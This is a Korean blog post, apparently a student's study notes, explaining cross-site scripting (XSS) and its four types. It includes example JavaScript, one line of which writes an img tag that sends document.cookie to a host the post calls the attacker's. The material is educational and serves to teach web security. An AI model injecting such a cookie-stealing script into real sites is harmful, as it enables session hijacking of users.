일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | |||
5 | 6 | 7 | 8 | 9 | 10 | 11 |
12 | 13 | 14 | 15 | 16 | 17 | 18 |
19 | 20 | 21 | 22 | 23 | 24 | 25 |
26 | 27 | 28 | 29 | 30 | 31 |
- sql injection
- utmp
- Python requests 설치
- Lord of SQL Injection
- Lord of SQLinjection
- MySQL
- docker compose
- Union SQL Injection
- str_replace함수
- 1819 (HY000):
- 우분투
- goblin 3번
- ModuleNotFoundError: No module named ‘requests’
- ubuntu
- blind SQLi
- Error Based SQL Injection
- mocOS
- 가상머신 os
- SQLi wargame
- los.rubiya.kr
- sqli
- Kail Linux
- M2
- No module named ‘requests’
- btmp
- XAVIS
- UTM
- SQL i
- LOS 5번
- 2002(HY000)
- Today
- Total
klaus
[week_5] ClientSide : XSS (Cross Site Scripting) 본문
0. ClientSide
웹 페이지의 이용자를 대상으로 공격할 수 있는 취약점으로, 취약점을 통해 이용자의 세션/쿠키와 같은 정보를 탈취하여 이용자의 계정의 권한을 수행할 수 있는 공격 기법.
그중 대표적인 공격 방법인 XSS에 대해 이번 주부터 스터디를 진행하였습니다.
여담, 약어가 CSS이 아니라 XSS인 이유는 스타일시트 정의 언어인 CSS와 중복되어 혼동되어 사용이 가능할 수 있기에 XSS라고 명명되었습니다. CSS의 경우 현업에서는 크사 또는 크스스라고 부르기도 합니다.
1. XSS(Cross Site Scripting)
공격자가 웹 리소스에 악성 스크립트를 삽입해 이용자의 웹 브라우저(이용자)에서 해당 스크립트가 실행되는 공격 기법
XSS 발생은 이용자가 삽입한 내용을 출력하는 기능을 수행하는 곳의 취약점으로 발생
(== 파라미터 데이터가 응답에 포함되는 모든 곳에서 발생하며 대표적으로 게시판,댓글이 있습니다.)
클라이언트는 HTTP형식으로 웹서버에서 리소스를 요청하고 웹서버로 부터 받은 응답으로 HTML, CSS, JS 등의 웹 리소스를 클라이언트 측의 웹 브라우저를 통해 보여주게 됩니다.
이때, 웹 리소스와 같은 코드가 포함된 게시물을 조회할 경우 이용자는 변조된 페이지를 보거나, 악성 스크립트가 실행이 가능해집니다.
2. XSS의 종류
종류 | 설명 |
Stored XSS | 악성 스크립트가 서버에 저장되고 서버의 응답에 악성 스크립트가 담겨오는 XSS |
Reflected XSS | 악성 스크립트가 URL에 삽입되고 서버의 응답에 담겨오는 XSS |
DOM based XSS | 악성 스크립트가 URL Fragment에 삽입되는 XSS 클라이언트에서 조립 |
Universal XSS | 클라이언트의 웹 브라우저 또는 플러그인에서 발생하는 취약점으로 SOP 정책 우회하는 XSS |
3. XSS 스크립트에서 사용되는 악성 스크립트 코드
자바 스크립트는 웹 문서의 동작을 정의합니다. 이는 이용자가 웹브라우저를 통해 버튼을 클릭했을 때 어떤 이벤트가 발생될지와 데이터 입력 시 해당 데이터를 전송하는 이벤트로 구분할 수 있다고 합니다.
자바 스크립트의 경우 다양한 동작을 정의할 수 있기 때문에 XSS에 주로 사용됩니다.
사용 예시)
<script> //script 시작
alert("tori"); //"tori"라는 문자열 alert 실행
alert(document.cookie); //현재 웹 페이지의 쿠키를 인자로 가진 alert 실행
document.write("hello tori!!"); // "hello tori!!"를 이용자 페이지에 삽입
document.write('<img src="http://toriyong.com/?'+document.cookie+' "/>');
// img src는 이미지 링크 삽입, document.cookie+'는 현재 쿠키페이지 쿠키값
// 헤당 코드는 img src를 사용하여 공격자(toriyong.com)주소에 현재 페이지의 쿠키 요청하는 방법
</script> //script 종료
과제 : XSS 복습 / 웹 개발 / 보고서
개인 목표 : 보고서 -- 블라인드 SQLi 실습 추가 (404.........)
웹 개발 -- ERD 부터 정리해보기
XSS -- dreamhack XSS
참고 : 5주 차 수업노트
dreamhack 웹 해킹 XSS
'수업 > 모의해킹' 카테고리의 다른 글
[week_7] CSRF-1 (0) | 2022.12.11 |
---|---|
[week_6] XSS (0) | 2022.11.25 |
[Week5] XSS(Cross-Site Scripting) 개념 (0) | 2022.11.09 |
[Week-4] BLIND Based SQLi (20221103) (0) | 2022.11.06 |
[Week_4] SQL Injection 예습(feat. Blind SQLi, 대응방안) (0) | 2022.11.02 |